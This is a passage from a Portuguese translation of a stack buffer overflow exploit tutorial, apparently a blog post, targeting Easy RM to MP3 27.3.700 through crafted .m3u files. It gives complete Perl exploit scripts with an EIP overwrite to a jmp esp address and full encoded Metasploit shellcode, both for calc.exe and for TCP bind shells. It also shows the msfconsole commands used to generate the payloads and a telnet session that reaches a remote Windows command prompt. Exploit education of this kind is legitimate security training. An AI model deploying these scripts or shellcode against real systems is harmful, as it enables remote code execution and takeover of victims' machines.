"BABCDEFGHIJKCABCDEFGHIJK";
open($FILE,">$file"); 
print $FILE $junk.$eip.$shellcode; 
close($FILE); 
print "Arquivo m3u criado com sucesso\n";

Crie o arquivo, abra-o, deixe a aplicação morrer e veja o dump de memória do ESP:

Podemos ver duas coisas interessantes aqui:

  • O ESP começa no 5º caracter de nosso conjunto, a não no primeiro caracter.

  • Após o conjunto de caracteres, vemos os “A’s”. Estes A’s parecem pertencer à primeira parte do buffer (26072 A’s), então podemos colocar nosso shellcode na primeira parte do buffer.

Mas não vamos fazer isso agora. Vamos primeiro adicionar 4 caracteres no início do conjunto de caracteres e fazer o teste novamente. Se tudo correr bem, o ESP deve apontar diretamente para o início de nosso conjunto:

my $file= "test2.m3u";
my $junk= "A" x 26094; 
my $eip = "BBBB";
my $preshellcode = "XXXX";
my $shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK" . 
"5ABCDEFGHIJK6ABCDEFGHIJK" . 
"7ABCDEFGHIJK8ABCDEFGHIJK" . 
"9ABCDEFGHIJKAABCDEFGHIJK". 
"BABCDEFGHIJKCABCDEFGHIJK"; 
open($FILE,">$file");
print $FILE $junk.$eip.$preshellcode.$shellcode;
close($FILE); 
print "Arquivo m3u criado com sucesso\n";

Deixe a aplicação morrer e olhe o ESP novamente:

Bem melhor!

Agora temos:

  • controle sobre o EIP

  • uma área onde podemos escrever nosso código (se fizer mais teste com conjuntos maiores de caracteres, poderá ver que tem mais espaço do que 144 caracteres para escrever seu código)

  • um registrador que aponta diretamente para nosso código, no endereço 0x000FF730

Agora precisamos:

  • construir um shellcode

  • dizer para o EIP pular para o endereço de início do shellcode. Podemos fazer isso sobrescrevendo o EIP com 0x000FF730.

Vamos ver…

Construiremos um pequeno teste: primeiro 26072 A’s, então sobrescrever o EIP com 000FF730, então colocar 25 NOP’s, então um break e mais NOP’s.

Se tudo correr bem, o EIP deve pular para 000FF730, que contém NOP’s. O código seguir até o break.

my $file= "teste3.m3u";
my $junk= "A" x 26072; 
my $eip = pack('V',0x000ff730);  
my $shellcode = "\x90" x 25;  
$shellcode = $shellcode."\xcc";
$shellcode = $shellcode."\x90" x 25;  
open($FILE,">$file"); 
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "Arquivo m3u criado com sucesso\n";

A aplicação morrerá, mas esperamos um break ao invés de um “access violation”.

Quando olharmos o EIP, ele aponta para 000FF730, e executa o ESP.

Quando olhamos o dump do ESP, não vemos o que esperávamos.


Então, pular diretamente para um endereço de memória pode não ser uma boa solução.

(000FF730 contém um null byte, que é um finalizador de strings… então os A’s que está vendo, estão vindo da primeira parte do buffer… Nós não alcançamos o ponto onde começamos a escrever nossos dados após sobrescrever o EIP… Além disso, utilizar um endereço de memória para pular dentro dele faria o exploit não ser confiável. E com isso, este endereço de memória pode ser diferente em outras versões de S.O., linguagem e etc).

Resumindo: não podemos sobrescrever o EIP apenas com um endereço direto de memória tal como 000FF730. Não é uma boa ideia porque pode conter um byte nulo. Temos que usar outra técnica para atingir o mesmo objetivo: fazer com que a aplicação pule para nosso código. Idealmente, seremos capazes de referenciar um registrador (ou um offset de um registrador), ESP no nosso caso, e encontrar uma função que pulará para tal registrador. Então tentaremos sobrescrever o EIP com o endereço daquela função.

Escrevendo um exploit para Stack Overflow – parte 3 (final)

Pular para o shellcode de uma maneira confiável

Procuramos colocar nosso shellcode exatamente onde o ESP aponta (ou, se olharmos por outro ângulo, o ESP aponta diretamente para o início de nosso shellcode). Se não fosse esse o caso, teríamos que olhar o conteúdo dos demais registradores e esperar encontrar nosso buffer. De qualquer forma, nesse exemplo em particular, podemos utilizar o ESP.

 A razão por detrás de sobrescrever o EIP com o endereço do ESP, é que queremos que a aplicação pule para o ESP e execute o shellcode.

Pular para o ESP é algo muito comum em aplicações Windows. De fato, aplicações Windows utiliza uma ou mais dll’s, e essas dll’s contém muitas instruções em código. Além do mais, o endereço utilizado por essas dll’s normalmente são estáticos. Então, se encontrarmos uma dll que contenha a instrução para pular para o ESP, e se pudermos sobrescrever o EIP com o endereço daquela instrução na dll, então deve funcionar, certo?

 Vamos ver. Em primeiro lugar, precisamos entender o que o opcode para “jmp esp” é.

Nós podemos fazer isso executando o Easy RM to MP3 a partir do Windbg (obviamente após haver instalado o windbg). Apenas abra o Easy RM to MP3, não precisa fazer mais nada.

 Ao executar o processo, a aplicação fará um break.

Na linha de comando do windbg, na parte inferior da tela, digite “a” (de assembler, sem aspas) e pressione enter. Agora digite “jmp esp” e pressione enter. Pressione enter novamente e digite “u” (unassemble) seguido pelo endereço que foi mostrado antes ao digitar “jmp esp”:

Próximo ao 7C90120E, podemos ver ffe4. Este é o opcode para o jmp esp.

Agora precisamos encontrar esse opcode em uma das dll’s carregadas.

Vamos ver as dll’s carregadas pelo Easy RM to MP3:

Se podemos encontrar o opcode em uma dessas dll’s, então teremos uma boa chance de fazer o exploit funcionar de maneira confiável em plataforma windows. Se precisarmos utilizar uma dll que pertence ao só, então poderemos descobrir que o exploit não funciona em outras versões do SO. Então vamos buscar a área de uma das dll’s do Easy RM to MP3 primeiro.

Vamos buscar na área do E:\ Arquivos de programas\Easy RM to MP3 Converter\MSRMCcodec02.dll. Essa dll é carregada entre 019E0000 e 01EAD000. Busque nesta área por ff e4:

Excelente. Quando selecionamos um endereço, é importante olhar por bytes nulos. Devemos tentar evitar utilizar endereços com bytes nulos (especialmente se desejamos utilizar os dados de buffer que vêm depois do EIP. O byte nulo se tornaria um finalizador de string e o resto dos dados de buffer seriam inutilizados).

Nota: há outras maneiras para conseguir os endereços de opcodes:

  • findjmp (de Ryan Permeh): compile o findjmp.c e execute-o com os seguintes parâmetros: findjmp [dllfile] [register]

  • o metasploit opcode database

  • memdump

  • pvefindaddr, um plugin para o Immunity Debugger. De fato essa é a melhor opção, pois filtra automaticamente os ponteiro não-confiáveis.

Veja abaixo o ponteiro que o Immunity retornou, utilizando o plugin pvefindaddr (apenas um, ao invés de vários como o windbg):

Como queremos colocar nosso shellcode no ESP (que está colocado em nosso payload após escrever o EIP), o endereço jmp esp a partir da lista não deve ter bytes nulos. Bytes nulos agem como finalizador de strings, assim tudo o que vier após seria ignorado. Em alguns casos, não teria problema em ter um endereço que se inicia com byte nulo.

Vamos utilizar o payload após o sobrescrição do EIP para armazenar nosso shellcode, assim o endereço não conteria bytes nulos.

O primeiro endereço de acordo com o Windbg é 0x01B1F23A

Verifique que este endereço contém o jmp esp (fazendo o unassemble a instrução em 01B1F23A):

Se agora sobrescrevermos o EIP com 0x01B1F23A, um jmp esp será executado. ESP contém nosso shellcode… assim deveríamos agora ter um exploit funcional. Vamos testar com o nosso shellcode “NOP & break”.

Encerre o Windbg.

Crie um novo arquivo m3u utilizando o script abaixo:

my $file= "teste4.m3u"; 
my $junk= "A" x 26073;
my $eip = pack('V',0x01b1f23a);  
my $shellcode = "\x90" x 25;   
$shellcode = $shellcode."\xcc";
#isso fará com que a aplicação dê um break, simulando o shellcode, mas permitindo prosseguir com o debugging 
$shellcode = $shellcode."\x90" x 25; 
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode; 
close($FILE);
print "Arquivo m3u criado com sucesso\n";

Execute a aplicação pelo Immunity ou pelo Windbg, e abra o arquivo m3u com a aplicação.

A aplicação agora dá um break no endereço 000FF745, que é o local de nosso primeiro break. Assim o jmp esp funciona bem (esp começa em 000FF730, mas contém NOPs até o 000FF744).

Tudo o que precisamos fazer agora é alterar nosso shellcode e finalizar o exploit.

Shellcode funcional e finalização do exploit

O Metasploit possui um ótimo gerador de payload que o ajudará a construir seu próprio shellcode. Payloads podem ter várias opções, e (dependendo do que você precisa), pode ser pequeno ou muito grande. Se você tiver uma imitação de tamanho em termos de espaço em buffer, então pode procurar por multi-staged shellcode, ou utilizar shellcodes criados manualmente tal como esse aqui (shellcode de 32bytes para executar um cmd.exe em Windows XP SP2). Alternativamente, é possível dividir o shellcode em pequenos “eggs” e usar uma técnica chamada de “egg-hunting” para fazer o reassemble do shellcode antes de executá-lo. Em breve veremos mais materiais que falam sobre egg-hunting e omelet hunters.

Digamos que queremos que o arquivo calc.exe seja executado como nosso payload, então nosso shellcode pode parecer com o seguinte:

# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
my $shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";

Finalize o script perl e execute-o:

#
# Exploit for Easy RM to MP3 27.3.700 vulnerability, discovered by Crazy_Hacker
# Written by Peter Van Eeckhoutte
#
my $file= "exploitrmtomp3.m3u";

my $junk= "A" x 26073;
my $eip = pack('V',0x01b1f23a);  #jmp esp from MSRMCcodec02.dll
my $shellcode = "\x90" x 25;
# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
$shellcode = $shellcode . "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

Crie o arquivo m3u, abra-o e veja a aplicação morrer (e a calculadora deve abrir). Conseguimos fazer o exploit funcionar!

E se quisermos fazer algo diferente de executar a calculadora?

Podemos criar outro shellcode e alterar o shellcode de execução da calculadora por seu novo shellcode, mas este código pode não funcionar porque o shellcode pode ser grande, alocação de memória ser diferente, e shellcodes grandes aumentam o risco de haver caracteres inválidos no mesmo, que precisam ser filtrados.

Vamos dizer que queremos que o exploit faça um bind em uma porta para que possamos nos conectar remotamente e ter um terminal de comando.

O shellcode pode parecer com o seguinte:

#
# windows/shell_bind_tcp - 344 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, LPORT=5555, RHOST=
"\x31\xc9\xbf\xd3\xc0\x5c\x46\xdb\xc0\xd9\x74\x24\xf4\x5d" .
"\xb1\x50\x83\xed\xfc\x31\x7d\x0d\x03\x7d\xde\x22\xa9\xba" .
"\x8a\x49\x1f\xab\xb3\x71\x5f\xd4\x23\x05\xcc\x0f\x87\x92" .
"\x48\x6c\x4c\xd8\x57\xf4\x53\xce\xd3\x4b\x4b\x9b\xbb\x73" .
"\x6a\x70\x0a\xff\x58\x0d\x8c\x11\x91\xd1\x16\x41\x55\x11" .
"\x5c\x9d\x94\x58\x90\xa0\xd4\xb6\x5f\x99\x8c\x6c\x88\xab" .
"\xc9\xe6\x97\x77\x10\x12\x41\xf3\x1e\xaf\x05\x5c\x02\x2e" .
"\xf1\x60\x16\xbb\x8c\x0b\x42\xa7\xef\x10\xbb\x0c\x8b\x1d" .
"\xf8\x82\xdf\x62\xf2\x69\xaf\x7e\xa7\xe5\x10\x77\xe9\x91" .
"\x1e\xc9\x1b\x8e\x4f\x29\xf5\x28\x23\xb3\x91\x87\xf1\x53" .
"\x16\x9b\xc7\xfc\x8c\xa4\xf8\x6b\xe7\xb6\x05\x50\xa7\xb7" .
"\x20\xf8\xce\xad\xab\x86\x3d\x25\x36\xdc\xd7\x34\xc9\x0e" .
"\x4f\xe0\x3c\x5a\x22\x45\xc0\x72\x6f\x39\x6d\x28\xdc\xfe" .
"\xc2\x8d\xb1\xff\x35\x77\x5d\x15\x05\x1e\xce\x9c\x88\x4a" .
"\x98\x3a\x50\x05\x9f\x14\x9a\x33\x75\x8b\x35\xe9\x76\x7b" .
"\xdd\xb5\x25\x52\xf7\xe1\xca\x7d\x54\x5b\xcb\x52\x33\x86" .
"\x7a\xd5\x8d\x1f\x83\x0f\x5d\xf4\x2f\xe5\xa1\x24\x5c\x6d" .
"\xb9\xbc\xa4\x17\x12\xc0\xfe\xbd\x63\xee\x98\x57\xf8\x69" .
"\x0c\xcb\x6d\xff\x29\x61\x3e\xa6\x98\xba\x37\xbf\xb0\x06" .
"\xc1\xa2\x75\x47\x22\x88\x8b\x05\xe8\x33\x31\xa6\x61\x46" .
"\xcf\x8e\x2e\xf2\x84\x87\x42\xfb\x69\x41\x5c\x76\xc9\x91" .
"\x74\x22\x86\x3f\x28\x84\x79\xaa\xcb\x77\x28\x7f\x9d\x88" .
"\x1a\x17\xb0\xae\x9f\x26\x99\xaf\x49\xdc\xe1\xaf\x42\xde" .
"\xce\xdb\xfb\xdc\x6c\x1f\x67\xe2\xa5\xf2\x98\xcc\x22\x03" .
"\xec\xe9\xed\xb0\x0f\x27\xee\xe7";

Como podemos ver, este shellcode possui 344 bytes de tamanho (e para executar a calculadora precisa apenas 144 bytes).

Se apenas copiarmos e colarmos este shellcode, podemos ver que a aplicação vulnerável não trava mais.

Isso indica, ou um problema com o tamanho do buffer do shellcode (mas se testarmos o tamanho do buffer veremos que esse não é o problema), ou nos deparamos com caracteres inválidos no shellcode. Podemos excluir esses caracteres inválidos quando criamos o shellcode com o metasploit, mas precisaremos saber quais caracteres são permitidos e quais não são. Por padrão, bytes nulos são restringidos (porque eles farão um break no exploit), mas quais são os outros caracteres?

O arquivo m3u provavelmente deveria conter nomes de arquivos. Então um bom começo seria filtrar todos os caracteres que não são permitidos em nomes de arquivos e caminhos. Podemos também restringir os caracteres selecionados, utilizando um outro decoder. Utilizei o shikata_ga_nai, mas talvez o alpha_upper funcione melhor para nomes de arquivos. Utilizar outro enconder provavelmente aumentará o tamanho do shellcode, mas já vimos que o tamanho não é o maior problema.

Vamos tentar construir um “tcp shell bind”, usando o encoder alpha_upper. Vamos fazer um bind de um shell à porta local 4444. O novo shellcode possui 730 bytes de tamanho.

Nota: para criar o payload, abra o Metasploit com ./msfconsole, e execute os seguintes comando:

msf> use payload/windows/shell_bind_tcp

msf payload(bind_tcp) > generate -e x86/alpha_upper

Vamos usar esse shellcode. O novo exploit se parecerá com o abaixo:

#
# Exploit for Easy RM to MP3 27.3.700 vulnerability, discovered by Crazy_Hacker
# Written by Peter Van Eeckhoutte
#
my $file= "exploitrmtomp3.m3u";
my $junk= "A" x 26072;
my $eip = pack('V',0x01b1f23a);
#jmp esp from MSRMCcodec02.dll
my $shellcode = "\x90" x 25;
# windows/shell_bind_tcp - 730 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, LPORT=4444, RHOST=
$shellcode=$shellcode."\x56\x54\x58\x36\x33\x30\x57\x54\x58\x36\x33\x38\x56\x58" . 
"\x48\x34\x39\x48\x48\x48\x50\x56\x58\x35\x41\x41\x51\x51" . 
"\x50\x56\x58\x35\x59\x59\x59\x59\x50\x35\x59\x59\x59\x44" . 
"\x35\x4b\x4b\x59\x41\x50\x54\x54\x58\x36\x33\x38\x54\x44" . 
"\x44\x4e\x56\x44\x44\x58\x34\x5a\x34\x41\x36\x33\x38\x36" . 
"\x31\x38\x31\x36\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49" . 
"\x49\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34\x41\x50\x30" . 
"\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41\x42\x54" . 
"\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58\x50" . 
"\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4b\x58\x4d\x59\x43\x30" . 
"\x43\x30\x45\x50\x43\x50\x4d\x59\x4d\x35\x56\x51\x49\x42" . 
"\x43\x54\x4c\x4b\x56\x32\x56\x50\x4c\x4b\x56\x32\x54\x4c" . 
"\x4c\x4b\x50\x52\x54\x54\x4c\x4b\x52\x52\x56\x48\x54\x4f" . 
"\x4f\x47\x50\x4a\x56\x46\x50\x31\x4b\x4f\x50\x31\x4f\x30" . 
"\x4e\x4c\x47\x4c\x43\x51\x43\x4c\x43\x32\x56\x4c\x47\x50" . 
"\x49\x51\x58\x4f\x54\x4d\x43\x31\x58\x47\x5a\x42\x5a\x50" . 
"\x56\x32\x56\x37\x4c\x4b\x50\x52\x54\x50\x4c\x4b\x47\x32" . 
"\x47\x4c\x43\x31\x58\x50\x4c\x4b\x47\x30\x54\x38\x4b\x35" . 
"\x4f\x30\x52\x54\x50\x4a\x43\x31\x58\x50\x50\x50\x4c\x4b" . 
"\x47\x38\x54\x58\x4c\x4b\x56\x38\x51\x30\x45\x51\x4e\x33" . 
"\x4b\x53\x47\x4c\x50\x49\x4c\x4b\x56\x54\x4c\x4b\x43\x31" . 
"\x58\x56\x50\x31\x4b\x4f\x50\x31\x4f\x30\x4e\x4c\x4f\x31" . 
"\x58\x4f\x54\x4d\x45\x51\x58\x47\x47\x48\x4b\x50\x52\x55" . 
"\x4b\x44\x43\x33\x43\x4d\x5a\x58\x47\x4b\x43\x4d\x51\x34" . 
"\x43\x45\x4d\x32\x51\x48\x4c\x4b\x51\x48\x56\x44\x43\x31" . 
"\x58\x53\x45\x36\x4c\x4b\x54\x4c\x50\x4b\x4c\x4b\x51\x48" . 
"\x45\x4c\x43\x31\x49\x43\x4c\x4b\x45\x54\x4c\x4b\x45\x51" . 
"\x4e\x30\x4c\x49\x47\x34\x47\x54\x51\x34\x51\x4b\x51\x4b" . 
"\x45\x31\x51\x49\x51\x4a\x56\x31\x4b\x4f\x4b\x50\x50\x58" . 
"\x51\x4f\x50\x5a\x4c\x4b\x45\x42\x5a\x4b\x4d\x56\x51\x4d" . 
"\x43\x58\x50\x33\x56\x52\x45\x50\x43\x30\x45\x38\x43\x47" . 
"\x43\x43\x47\x42\x51\x4f\x50\x54\x43\x58\x50\x4c\x52\x57" . 
"\x51\x36\x43\x37\x4b\x4f\x58\x55\x58\x38\x4c\x50\x45\x51" . 
"\x45\x50\x43\x30\x47\x59\x49\x54\x56\x34\x56\x30\x43\x58" . 
"\x56\x49\x4d\x50\x52\x4b\x45\x50\x4b\x4f\x4e\x35\x50\x50" . 
"\x56\x30\x56\x30\x56\x30\x51\x50\x50\x50\x47\x30\x50\x50" . 
"\x43\x58\x5a\x4a\x54\x4f\x49\x4f\x4b\x50\x4b\x4f\x58\x55" . 
"\x4c\x57\x56\x51\x49\x4b\x51\x43\x52\x48\x54\x42\x45\x50" . 
"\x54\x51\x51\x4c\x4c\x49\x4d\x36\x43\x5a\x52\x30\x50\x56" . 
"\x56\x37\x52\x48\x58\x42\x49\x4b\x56\x57\x43\x57\x4b\x4f" . 
"\x4e\x35\x56\x33\x51\x47\x45\x38\x4f\x47\x5a\x49\x50\x38" . 
"\x4b\x4f\x4b\x4f\x49\x45\x50\x53\x56\x33\x56\x37\x43\x58" . 
"\x54\x34\x5a\x4c\x47\x4b\x4b\x51\x4b\x4f\x49\x45\x56\x37" . 
"\x4c\x57\x43\x58\x43\x45\x52\x4e\x50\x4d\x43\x51\x4b\x4f" . 
"\x49\x45\x52\x4a\x45\x50\x52\x4a\x43\x34\x51\x46\x56\x37" . 
"\x52\x48\x45\x52\x49\x49\x58\x48\x51\x4f\x4b\x4f\x4e\x35" . 
"\x4c\x4b\x50\x36\x43\x5a\x47\x30\x43\x58\x43\x30\x54\x50" . 
"\x45\x50\x45\x50\x50\x56\x43\x5a\x45\x50\x43\x58\x56\x38" . 
"\x49\x34\x51\x43\x4b\x55\x4b\x4f\x58\x55\x4c\x53\x50\x53" . 
"\x43\x5a\x45\x50\x56\x36\x50\x53\x51\x47\x45\x38\x43\x32" . 
"\x58\x59\x4f\x38\x51\x4f\x4b\x4f\x4e\x35\x43\x31\x49\x53" . 
"\x47\x59\x58\x46\x4b\x35\x4c\x36\x54\x35\x5a\x4c\x49\x53" . 
"\x41\x41";

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

Crie o arquivo m3u, abra-o com a aplicação. Faça o telnet na porta 4444:

root@bt:/# telnet 192.168.0.197 4444
Trying 192.168.0.197...
Connected to 192.168.0.197.
Escape character is '^]'.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

E:\Arquivos de programa\Easy RM to MP3 Converter>

Pronto !

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s